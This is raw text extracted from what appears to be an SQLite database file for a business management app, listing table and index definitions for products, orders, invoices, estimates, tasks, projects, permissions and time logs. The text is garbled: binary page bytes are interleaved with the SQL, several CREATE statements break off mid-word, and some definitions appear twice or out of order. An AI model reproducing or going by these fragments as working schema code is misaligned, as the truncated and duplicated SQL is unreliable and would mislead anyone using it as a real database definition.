"data" text not null, "read_at" datetime, "created_at" datetime, "updated_at" datetime, primary key ("id"))OE%indexnotice_views_user_id_foreignnotice_viewsnCREATE INDEX "notice_views_user_id_foreign" on "notice_views" ("user_id")NI%'indexnotice_views_notice_id_foreignnotice_viewsmCREATE INDEX "notice_views_notice_id_foreign" on "notice_views" ("notice_id") 133leads2024-10-22 12:39:342024-10-22 12:39:34              ? V Vv;; y eT--{tableproduct_categoryproduct_categorysCREATE TABLE "product_category" ("id" integer primary key autoincrement not null, "category_name" varchar not null, "created_at" datetime, "updated_at" datetime, "company_id" integer) Kq##Wtableorder_itemsorder_items|CREATE TABLE "order_items" ("id" integer primary key autoincrement not nu[M/indexproducts_last_updated_by_foreignproducts{CREATE INDEX "products_last_updated_by_foreign" on "products" ("last_updated_by")rZ?indexproducts_added_by_foreignproductszCREATE INDEX "products_added_by_foreign" on "products" ("added_by")YM/indexproducts_sub_category_id_foreignproductsyCREATE INDEX "products_sub_category_id_foreign" on "products" ("sub_category_id"){XEindexproducts_category_id_foreignproductsxCREATE INDEX "products_category_id_foreign" on "products" ("category_id") WetableproductsproductswCREATE TABLE "products" ("id" integer primary key autoincrement not null, "company_id" integer, "name" varchar not null, "price" varchar not null, "taxes" varchar, "allow_purchase" tinyint(1) not null default '0', "downloadable" tinyint(1) not null default '0', "downloadable_file" varchar, "description" text, "category_id" integer, "sub_category_id" integer, "added_by" integer, "last_updated_by" integer, "hsn_sac_code" varchar, "default_image" varchar, "created_at" datetime, "updated_at" datetime, "unit_id" integer, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("category_id") references "product_category"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("sub_category_id") references "product_sub_category"("id") on delete SET NULL on update CASCADE)+V]5Oindexproduct_sub_category_category_id_foreignproduct_sub_categoryvCREATE INDEX "product_sub_category_category_id_foreign" on "product_sub_category" ("category_id")QU55Ctableproduct_sub_categoryproduct_sub_categorytCREATE TABLE "product_sub_category" ("id" integer primary key autoincrement not null, "company_id" integer, "category_id" integer not null, "category_name" varchar not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("category_id") references "product_category"("id") on delete CASCADE on update CASCADE) --Otableproduct_categoryproduct_catego!`W/Gindexorder_item_images_order_item_id_indexorder_item_imagesCREATE INDEX "order_item_images_order_item_id_index" on "order_item_images" ("order_item_id")#S;;[tableoffline_payment_methodsoffline_payment_methodsrCREATE TABLE "offline_payment_methods" ("id" integer primary key autoincrement not null, "company_id" integer, "name" varchar not null, "description" text, "status" varchar check ("status" in ('yes', 'no')) default 'yes', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)o'}indexnotifications_notifi_^I#'indexorder_items_product_id_foreignorder_items~CREATE INDEX "order_items_product_id_foreign" on "order_items" ("product_id")~]E#indexorder_items_order_id_foreignorder_items}CREATE INDEX "order_items_order_id_foreign" on "order_items" ("order_id")[M/inde-a++tablepassword_resetspassword_resetsCREATE TABLE "password_resets" ("email" varchar not null, "token" varchar not null, "created_at" datetime, primary key ("email"))E_//7tableorder_item_imagesorder_item_imagesCREATE TABLE "order_item_images" ("id" integer primary key autoincrement not null, "order_item_id" integer, "external_link" varchar, "created_at" datetime, "updated_at" datetime, foreign key("order_item_id") references "order_items"("id") on delete CASCADE on update NO ACTION)           ;i : p e $;tcCCmtablepayment_gateway_credentialspayment_gateway_credentialsCREATE TABLE "payment_gateway_credentials" ("id" integer primary key autoincrement not null, "company_id" integer, "paypal_client_id" varchar, "paypal_secret" varchar, "paypal_status" varchar check ("paypal_status" in ('active', 'deactive')) not null default 'deactive', "live_stripe_client_id" varchar, "live_stripe_secret" varchar, "live_stripe_webhook_secret" varchar, "stripe_status" varchar check ("stripe_status" in ('active', 'deactive')) n cCCtablepayment_gateway_credentialspayment_gateway_credentialsCREATE TABLE "payment_gateway_credentials" ("id" integer primary key autoincrement not null, "company_id" integer, "paypal_client_id" varchar, "paypal_secret" varchar, "paypal_status" varchar check ("paypal_status" in ('active', 'deactive')) not null default 'deactive', "live_stripe_client_id" varchar, "live_stripe_secret" varchar, "live_stripe_webhook_secret" varchar, "stripe_status" varchar check ("stripe_status" in ('active', 'deactive')) not null default 'deactive', "live_razorpay_key" varchar, "live_razorpay_secret" varchar, "razorpay_status" varchar check ("razorpay_status" in ('active', 'inactive')) not null default 'inactive', "paypal_mode" varchar check ("paypal_mode" in ('sandbox', 'live')I''indextask_category_added_by_foreigntask_categoryCREATE INDEX "task_category_added_by_foreign" on "task_category" ("added_by")~''utabletask_categorytask_categoryCREATE TABLE "task_category" ("id" integer primary key autoincrement not null, "company_id" integer, "category_name" varchar not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE),xa+Windexpermission_role_permission_type_id_foreignpermission_roleCREATE INDEX "permission_role_permission_type_id_foreign" on "permission_role" ("permission_type_id") wK++indexpermission_role_role_id_foreignpermission_roleCREATE INDEX "permission_role_role_id_foreign" on "permission_role" ("role_id")>vQ+indexsqlite_autoindex_permission_role_1permission_roleu++Ctablepermission_rolepermission_roleCREATE TABLE "permission_role" ("permission_id" integer not null, "role_id" integer not null, "permission_type_id" integer not null default '5', foreign key("permission_id") references "permissions"("id") on delete CASCADE on update CASCADE, foreign key("permission_type_id") references "permission_types"("id") on delete CASCADE on update CASCADE, foreign key("role_id") references "roles"("id") on delete CASCADE on update CASCADE, primary key ("permission_id", "role_id"))Ft--=tablepermission_typespermission_typesCREATE TABLE "permission_types" ("id" integer primary key autoincrement not null, "name" varchar not null, "created_at" datetime, "updated_at" datetime)sG##indexpermissions_module_id_foreignpermissionsCREATE INDEX "permissions_module_id_foreign" on "permissions" ("module_id")&q##tablepermissionspermissionsCREATE TABLE "permissions" ("id" integer primary key autoincrement not null, "name" varchar not null, "display_name" varchar, "description" varchar, "module_id" integer not null, "is_custom" tinyint(1) not null default '0', "allowed_permissions" text, "created_at" datetime, "updated_at" datetime, foreign key("module_id") references "modules"("id") on delete CASCADE on update CASCADE)-a++tablepassword_resetspassword_resetsCREATE TABLE "password_resets" ("email" varchar not null, "token" varchar not null, "created_at" datetime, primary key ("email"))!`W/Gindexorder_item_images_order_item_id_indexorder_item_imagesCREATE INDEX "order_item_images_order_item_id_index" on "order_item_images" ("order_item_id")>bQ+indexsqlite_autoindex_password_resets_1password_resets          vQ+indexsqlite_autoindex_permission_role_1permission_roleu++Ctablepermission_rolepermission_roleCREATE TABLE "permission_role" ("permission_id" integer not null, "role_id" integer not null, "permission_type_id" integer not null default '5', foreign key("permission_id") references "permissions"("id") on delete CASCADE on update CASCADE, foreign key("permission_type_id") references "permission_types"("id") on delete CASCADE on update CASCADE, foreign key("role_id") references "roles"("id") on delete CASCADE on update CASCADE, primary key ("permission_id", "role_id"))Ft--=tablepermission_typespermission_typesCREATE TABLE "permission_types" ("id" integer primary key autoincrement not null, "name" varchar not null, "created_at" datetime, "updated_at" datetime) =G##indexpermissions_module_id_foreignpermissionsCREATE INDEX "permissions_module_id_foreign" on "permissions" ("module_id")wr;#indexpermissions_name_uniquepermissionsCREATE UNIQUE INDEX "permissions_name_unique" on "permissions" ("name")##tablepermissionspermissionsCREATE TABLE "permissiI''indextask_category_added_by_foreigntask_categoryCREATE INDEX "task_category_added_by_foreign" on "task_category" ("added_by")sG##indexpermissions_module_id_foreignpermissionsCREATE INDEX "permissions_module_id_foreign" on "permissions" ("module_id")Mz;#indexpermissions_name_uniquepermissionsCREATE UNIQUE INDEX "permissions_name_unique" on "permissions" ("name")~''utabletask_categorytask_categoryCREATE TABLE "task_category" ("id" integer primary key autoincrement not null, "company_id" integer, "category_name" varchar not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE)a1Windexproject_milestones_last_updated_by_foreignproject_milestonesCREATE INDEX "project_milestones_last_updated_by_foreign" on "project_milestones" ("last_updated_by")      +@$ Q a [ w dJ@PG/O'indexestimates_last_updated_by_foreignestimatesCREATE INDEX estimates_last_updated_by_foreign ON estimates (last_updated_by)o.A indexestimates_added_by_foreignestimatesCREATE INDEX estimates_added_by_foreign ON estimates (added_by)x-Gindexestimates_currency_id_foreignestimatesCREATE INDEX estimates_currency_id_foreign ON estix-Gindexestimates_currency_id_foreignestimatesCREATE INDEX estimates_currency_id_foreign ON estimates (currency_id)r,Cindexestimates_client_id_foreignestimatesCREATE INDEX estimates_client_id_foreign ON estimates (client_id)*StableestimatesestimatesCREATE TABLE estimates (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, client_id INTEGER NOT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, estimate_number VARCHAR(191) DEFAULT NULL, valid_till DATE NOT NULL, sub_total DOUBLE PRECISION NOT NULL, discount DOUBLE PRECISION DEFAULT '0' NOT NULL, discount_type VARCHAR(255) DEFAULT 'percent' NOT NULL, total DOUBLE PRECISION NOT NULL, status VARCHAR(255) DEFAULT 'waiting' NOT NULL, note CLOB DEFAULT NULL, description CLOB DEFAULT NULL, send_status BOOLEAN DEFAULT 1 NOT NULL, hash CLOB DEFAULT NULL, calculate_tax VARCHAR(255) DEFAULT 'after_discount' NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, last_viewed DATETIME DEFAULT NULL, ip_address VARCHAR(255) DEFAULT NULL, original_estimate_number VARCHAR(255) DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (client_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE)%)_Yindexinvoices_invoice_number_company_id_uniqueinvoicesCREATE UNIQUE INDEX invoices_invoice_number_company_id_unique ON invoices (invoice_number, company_id) (S/indexinvoices_company_address_id_foreigninvoicesCREATE INDEX invoices_company_address_id_foreign ON invoices (company_address_id)'M#indexinvoices_last_updated_by_foreigninvoicesCREATE INDEX invoices_last_updated_by_foreign ON invoices (last_updated_by)l&?indexinvoices_added_by_foreigninvoicesCREATE INDEX invoices_added_by_foreign ON invoices (added_by)r%Cindexinvoices_created_by_foreigninvoicesCREATE INDEX invoices_created_by_foreign ON invoices (created_by)$W7indexinvoices_invoice_recurring_id_foreigninvoicesCREATE INDEX invoices_invoice_recurring_id_foreign ON invoices (invoice_recurring_id)o#A indexinvoices_parent_id_foreigninvoicesCREATE INDEX invoices_parent_id_foreign ON invoices (parent_id)u"Eindexinvoices_estimate_id_foreigninvoicesCREATE INDEX invoices_estimate_id_foreign ON invoices (estimate_id)u!Eindexinvoices_currency_id_foreigninvoicesCREATE INDEX invoices_currency_id_foreign ON invoices (currency_id)h ;indexinvoices_due_date_indexinvoicesCREATE INDEX invoices_due_date_index ON invoices (due_date)l?indexinvoices_order_id_foreigninvoicesCREATE INDEX invoices_order_id_foreign ON invoices (order_id)A indexinvoices_client_e+5indexIDX_85B8B0EE979B1AD6estimatesCREATE INDEX IDX_85B8B0EE979B1AD6 ON estimates (company_id)oA indexinvoices_client_id_foreigninvoices CREATE INDEX invoices_client_id_foreign ON invoices (client_id)rCindexinvoices_project_id_foreigninvoices CREATE INDEX invoices_project_id_foreign ON invoices (project_id)g5indexIDX_6A2F2F95979B1AD6invoices CREATE INDEX IDX_6A2F2F95979B1AD6 ON invoices (company_id)         7 N otabletaskstasksCREATE TABLE "tasks" ("id" integer primary key autoincrement not null, "company_id" integer, "heading" varchar not null, "description" text, "due_date" date, "start_date" date, "project_id" integer, "task_category_id" integer, "priority" varchar check ("priority" in ('low', 'medium', 'high')) not null default 'medium', "status" varchar check ("status" in ('incomplete', 'completed')) not null default 'incomplete', "board_column_id" integer default '1', "column_priority" integer not null, "completed_on" datetime, "created_by" integer, "recurring_task_id" integer, "dependent_task_id" integer, "milestone_id" integer, "is_private" tinyint(1) not null default '0', "billable" tinyint(1) not null default '1', "estimate_hours" integer not null, "estimate_minutes" integer not null, "added_by" integer, "last_updated_by" integer, "hash" varchar, "repeat" tinyint(1) not null default '0', "repeat_complete" tinyint(1) not null default '0', "repeat_count" integer, "repeat_type" varchar check ("repeat_type" in ('day', 'week', 'month', 'year')) not null default 'day', "repeat_cycles" integer, "event_id" text, "created_at" datetime, "updated_at" datetime, "deleted_at" datetime, "task_short_code" varchar, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("board_column_id") references "taskboard_columns"("id") on delete SET NULL on update CASCADE, foreign key("created_by") references "users"("id") on delete CASCADE on update CASCADE, foreign key("dependent_task_id") references "tasks"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("milestone_id") references "project_milestones"("id") on delete SET NULL on update CASCADE, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE, foreign key("recurring_task_id") references "tasks"("id") on delete SET NULL on update CASCADE, foreign key("task_category_id") references "task_category"("id") on delete SET NULL on update CASCADE)h 9 indextasks_deleted_at_indextasksCREATE INDEX "tasks_deleted_at_index" on "tasks" ("deleted_at"){ G#indextasks_last_updated_by_foreigntasksCREATE INDEX "tasks_last_updated_by_foreign" on "tasks" ("last_updated_by")f 9indextasks_added_by_foreigntasksCREATE INDEX "tasks_added_by_foreign" on "tasks" ("added_by")r Aindextasks_milestone_id_foreigntasksCREATE INDEX "tasks_milestone_id_foreign" on "tasks" ("milestone_id")K+indextasks_dependent_task_id_foreigntasksCREATE INDEX "tasks_dependent_task_id_foreign" on "tasks" ("dependent_task_id")K+indextasks_recurring_task_id_foreigntasksCREATE INDEX "tasks_recurring_task_id_foreign" on "tasks" ("recurring_task_id")l=indextasks_created_by_foreigntasksCREATE INDEX "tasks_created_by_foreign" on "tasks" ("created_by"){G#indextasks_board_column_id_foreigntasksCREATE INDEX "tasks_board_column_id_foreign" on "tasks" ("board_column_id")~I'indextasks_task_category_id_foreigntasksCREATE INDEX "tasks_task_category_id_foreign" on "tasks" ("task_category_id")l=indextasks_project_id_foreigntasksCREATE INDEX "tasks_project_id_foreign" on "tasks" ("project_id")W'Cindextask_category_last_updated_by_foreigntask_categoryCREATE INDEX "task_category_last_updated_by_foreign" on "task_category" ("last_updated_by")b5indextasks_due_date_indextasksCREATE INDEX "tasks_due_date_index" on "tasks" ("due_date")              [[# ` I"''tableproduct_filesproduct_filesCREATE TABLE "product_files" ("id" integer primary key autoincrement not null, "product_id" integer not null, "filename" varchar, "hashname" varchar, "size" varchar, "added_by" integer, "last_updated_by" integer, "company_id" integer, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("product_id") references "products"("id") on delete CASCADE on update CASCADE)O-7indexproject_activity_created_at_indexproject_activityCREATE INDEX "project_activity_created_at_index" on "project_activity" ("created_at")S-;indexproject_activity_project_id_foreignproject_activityCREATE INDEX "project_activity_project_id_foreign" on "project_activity" ("project_id")A--3tableproject_activityproject_activityCREATE TABLE "project_activity" ("id" integer primary key autoincrement not null, "project_id" integer not null, "activity" text not null, "created_at" datetime, "updated_at" datetime, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE)W'Cindexproduct_files_last_updated_by_foreignproduct_filesCREATE INDEX "product_files_last_updated_by_foreign" on "product_files" ("last_updated_by")I''indexproduct_files_added_by_foreignproduct_filesCREATE INDEX "product_files_added_by_foreign" on "product_files" ("added_by") M'/indexproduct_files_product_id_foreignproduct_filesCREATE INDEX "product_files_product_id_foreign" on "product_files" ("product_id")g9indexpinned_user_id_foreignpinnedCREATE INDEX "pinned_user_id_foreign" on "pinned" ("user_id")g9indexpinned_task_id_foreignpinnedCREATE INDEX "pinned_task_id_foreign" on "pinned" ("task_id")p?indexpinned_project_id_foreignpinnedCREATE INDEX "pinned_project_id_foreign" on "pinned" ("project_id")K otablepinnedpinnedCREATE TABLE "pinned" ("id" integer primary key autoincrement not null, "company_id" integer, "project_id" integer, "task_id" integer, "user_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE, foreign key("task_id") references "tasks"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE) M'/indexproject_files_project_id_foreignproject_filesCREATE INDEX "project_files_project_id_foreign" on "project_files" ("project_id")G'#indexproject_files_user_id_foreignproject_filesCREATE INDEX "project_files_user_id_foreign" on "project_files" ("user_id")''utableproject_filesproject_filesCREATE TABLE "project_files" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "project_id" integer not null, "filename" varchar not null, "hashname" varchar, "size" varchar, "description" text, "google_url" varchar, "dropbox_link" varchar, "external_link_name" varchar, "external_link" text, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)                v <  &p&~,#+[+Kindex )K++indexproject_ratings_user_id_foreignproject_ratingsCREATE INDEX "project_ratings_user_id_foreign" on "project_ratings" ("user_id")(Q+7indexproject_ratings_project_id_foreignproject_ratingsCREATE INDEX "project_ratings_project_id_foreign" on "project_ratings" ("project_id").'++tableproject_ratingsproject_ratingsCREATE TABLE "project_ratings" ("id" integer primary key autoincrement not null, "project_id" integer not null, "rating" float not null default '0', "comment" text, "user_id" integer not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)&W'Cindexproject_notes_last_updated_by_foreignproject_notesCREATE INDEX "project_notes_last_updated_by_foreign" on "project_notes" ("last_updated_by")%I''indexproject_notes_added_by_foreignproject_notesCREATE INDEX "project_notes_added_by_foreign" on "project_notes" ("added_by") $K'+indexproject_notes_client_id_foreignproject_notesCREATE INDEX "project_notes_client_id_foreign" on "project_notes" ("client_id") #M'/indexproject_notes_project_id_foreignproject_notesCREATE INDEX "project_notes_project_id_foreign" on "project_notes" ("project_id")""''tableproject_notesproject_notesCREATE TABLE "project_notes" ("id" integer primary key autoincrement not null, "project_id" integer, "title" varchar not null, "type" tinyint(1) not null default '0', "client_id" integer, "is_client_show" tinyint(1) not null default '0', "ask_password" tinyint(1) not null default '0', "details" text not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("client_id") references "users"("id") on delete CASCADE on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE)#![+Kindexproject_members_last_updated_by_foreignproject_membersCREATE INDEX "project_members_last_updated_by_foreign" on "project_members" ("last_updated_by") M+/indexproject_members_added_by_foreignproject_membersCREATE INDEX "project_members_added_by_foreign" on "project_members" ("added_by")Q+7indexproject_members_project_id_foreignproject_membersCREATE INDEX "project_members_project_id_foreign" on "project_members" ("project_id") K++indexproject_members_user_id_foreignproject_membersCREATE INDEX "project_members_user_id_foreign" on "project_members" ("user_id")++ctableproject_membersproject_membersCREATE TABLE "project_members" ("id" integer primary key autoincrement not null, "user_id" integer not null, "project_id" integer not null, "hourly_rate" float not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)W'Cindexproject_files_last_updated_by_foreignproject_filesCREATE INDEX "project_files_last_updated_by_foreign" on "project_files" ("last_updated_by")I''indexproject_files_added_by_foreignproject_filesCREATE INDEX "project_files_added_by_foreign" on "project_files" ("added_by")                 n  9 C[-//ctableproject_templatesproject_templatesCREATE TABLE "project_templates" ("id" integer primary key autoincrement not null, "company_id" integer, "project_name" varchar not null, "category_id" integer, "client_id" integer, "project_summary" text, "notes" text, "feedback" text, "client_view_task" varchar check ("client_view_task" in ('enable', 'disable')) not null default 'disable', "allow_client_notification" varchar check ("allow_client_notification" in ('enable', 'disable')) not null default 'disable', "manual_timelog" varchar check ("manual_timelog" in ('enable', 'disable')) not null default 'disable', "created_at" datetime, "updated_at" datetime, "added_by" integer not null default '1', foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("category_id") references "project_category"("id") on delete SET NULL on update CASCADE, foreign key("client_id") references "users"("id") on delete SET NULL on update CASCADE)K4q9windexproject_template_tasks_project_template_id_foreignproject_template_tasksCREATE INDEX "project_template_tasks_project_template_id_foreign" on "project_template_tasks" ("project_template_id")399'tableproject_template_tasksproject_template_tasksCREATE TABLE "project_template_tasks" ("id" integer primary key autoincrement not null, "heading" varchar not null, "description" text, "project_template_id" integer not null, "priority" varchar check ("priority" in ('low', 'medium', 'high')) not null default 'medium', "project_template_task_category_id" integer, "created_at" datetime, "updated_at" datetime, foreign key("project_template_id") references "project_templates"("id") on delete CASCADE on update CASCADE, foreign key("project_template_task_category_id") references "task_category"("id") on delete SET NULL on update CASCADE)S2u=indexproject_template_members_project_template_id_foreignproject_template_membersCREATE INDEX "project_template_members_project_template_id_foreign" on "project_template_members" ("project_template_id")/1]=Oindexproject_template_members_user_id_foreignproject_template_membersCREATE INDEX "project_template_members_user_id_foreign" on "project_template_members" ("user_id")K0=='tableproject_template_membersproject_template_membersCREATE TABLE "project_template_members" ("id" integer primary key autoincrement not null, "user_id" integer not null, "project_template_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("project_template_id") references "project_templates"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)/S/;indexproject_templates_client_id_foreignproject_templatesCREATE INDEX "project_templates_client_id_foreign" on "project_templates" ("client_id").W/Cindexproject_templates_category_id_foreignproject_templatesCREATE INDEX "project_templates_category_id_foreign" on "project_templates" ("category_id")g,--tableproject_settingsproject_settingsCREATE TABLE "project_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "send_reminder" varchar check ("send_reminder" in ('yes', 'no')) not null, "remind_time" integer not null, "remind_type" varchar not null, "remind_to" varchar not null default '["admins","members"]', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)#+[+Kindexproject_ratings_last_updated_by_foreignproject_ratingsCREATE INDEX "project_ratings_last_updated_by_foreign" on "project_ratings" ("last_updated_by")*M+/indexproject_ratings_added_by_foreignproject_ratingsCREATE INDEX "project_ratings_added_by_foreign" on "project_ratings" ("added_by")              (i'''j?Q/;indexproject_time_logs_start_time_indexproject_time_log>O/3indexproject_time_logs_user_id_foreignproject_time_logsCREATE INDEX "project_time_logs_user_id_foreign" on "project_time_logs" ("user_id")=O/3indexproject_time_logs_task_id_foreignproject_time_logsCREATE INDEX "project_time_logs_task_id_foreign" on "project_time_logs" ("task_id")v5 9/indexproject_template_tasks_project_template_task_category_id_foreignproject_template_tasksCREATE INDEX "project_template_tasks_project_template_task_category_id_foreign" on "project_template_tasks" ("project_template_task_category_id")//tableproject_time_logsproject_time_logsCREATE TABLE "project_time_logs" ("id" integer primary key autoincrement not null, "company_id" integer, "project_id" integer, "task_id" integer, "user_id" integer not null, "start_time" datetime not null, "end_time" datetime, "memo" text not null, "total_hours" varchar, "total_minutes" varchar, "edited_by_user" integer, "hourly_rate" integer not null, "earnings" integer not null, "approved" tinyint(1) not null default '1', "approved_by" integer, "invoice_id" integer, "added_by" integer, "last_updated_by" integer, "total_break_minutes" varchar, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("approved_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("edited_by_user") references "users"("id") on delete SET NULL on update CASCADE, foreign key("invoice_id") references "invoices"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE, foreign key("task_id") references "tasks"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE);:cC[indexproject_template_task_users_user_id_foreignproject_template_task_usersCREATE INDEX "project_template_task_users_user_id_foreign" on "project_template_task_users" ("user_id")o9Cindexproject_template_task_users_project_template_task_id_foreignproject_template_task_usersCREATE INDEX "project_template_task_users_project_template_task_id_foreign" on "project_template_task_users" ("project_template_task_id")c8CCKtableproject_template_task_usersproject_template_task_usersCREATE TABLE "project_template_task_users" ("id" integer primary key autoincrement not null, "project_template_task_id" integer not null, "user_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("project_template_task_id") references "project_template_tasks"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)k7Aindexproject_template_sub_tasks_project_template_task_id_foreignproject_template_sub_tasksCREATE INDEX "project_template_sub_tasks_project_template_task_id_foreign" on "project_template_sub_tasks" ("project_template_task_id")6AA+tableproject_template_sub_tasksproject_template_sub_tasksCREATE TABLE "project_template_sub_tasks" ("id" integer primary key autoincrement not null, "project_template_task_id" integer not null, "title" text not null, "start_date" datetime, "due_date" datetime, "status" varchar check ("status" in ('incomplete', 'complete')) not null default 'incomplete', "created_at" datetime, "updated_at" datetime, foreign key("project_template_task_id") references "project_template_tasks"("id") on delete CASCADE on update CASCADE) 9/indexproject_template_tasks_project_template_task_category_id_foreignproject_t<U/?indexproject_time_logs_project_id_foreignproject_time_logsCREATE INDEX "project_time_logs_project_id_foreign" on "project_time_logs" ("project_id")            pn9 pppppppppMQ17indexproj/Na1Windexproject_user_notes_project_note_id_foreignproject_user_notesCREATE INDEX "project_user_notes_project_note_id_foreign" on "project_user_notes" ("project_note_id")MQ17indexproject_user_notes_user_id_foreignproject_user_notesCREATE INDEX "project_user_notes_user_id_foreign" on "project_user_notes" ("user_id")-L11tableproject_user_notesproject_user_notesCREATE TABLE "project_user_notes" ("id" integer primary key autoincrement not null, "user_id" integer not null, "project_note_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("project_note_id") references "project_notes"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE).J];Oindexproject_time_log_breaks_added_by_foreignproject_time_log_breaksCREATE INDEX "project_time_log_breaks_added_by_foreign" on "project_time_log_breaks" ("added_by")*IY;Kindexproject_time_log_breaks_end_time_indexproject_time_log_breaksCREATE INDEX "project_time_log_breaks_end_time_index" on "project_time_log_breaks" ("end_time")0H];Sindexproject_time_log_breaks_start_time_indexproject_time_log_breaksCREATE INDEX "project_time_log_breaks_start_time_index" on "project_time_log_breaks" ("start_time")OGs;{indexproject_time_log_breaks_project_time_log_id_foreignproject_time_log_breaksCREATE INDEX "project_time_log_breaks_project_time_log_id_foreign" on "project_time_log_breaks" ("project_time_log_id")!F;;Wtableproject_time_log_breaksproject_time_log_breaksCREATE TABLE "project_time_log_breaks" ("id" integer primary key autoincrement not null, "company_id" integer, "project_time_log_id" integer, "start_time" datetime not null, "end_time" datetime, "reason" text not null, "total_hours" varchar, "total_minutes" varchar, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("project_time_log_id") references "project_time_logs"("id") on delete CASCADE on update CASCADE)q_/Sindexproject_time_logs_last_updated_by_foreignproject_time_logsCREATE INDEX "project_time_logs_last_updated_by_foreign" on "project_time_logs" ("last_updated_by")Q/7indexproject_time_logs_added_by_foreignproject_time_logsCREATE INDEX "project_time_logs_added_by_foreign" on "project_time_logs" ("added_by")(U/?indexproject_time_logs_invoice_id_foreignproject_time_logsCREATE INDEX "project_time_logs_invoice_id_foreign" on "project_time_logs" ("invoice_id")W/Cindexproject_time_logs_approved_by_foreignproject_time_logsCREATE INDEX "project_time_logs_approved_by_foreign" on "project_time_logs" ("approved_by")]/Oindexproject_time_logs_edited_by_user_foreignproject_time_logsCREATE 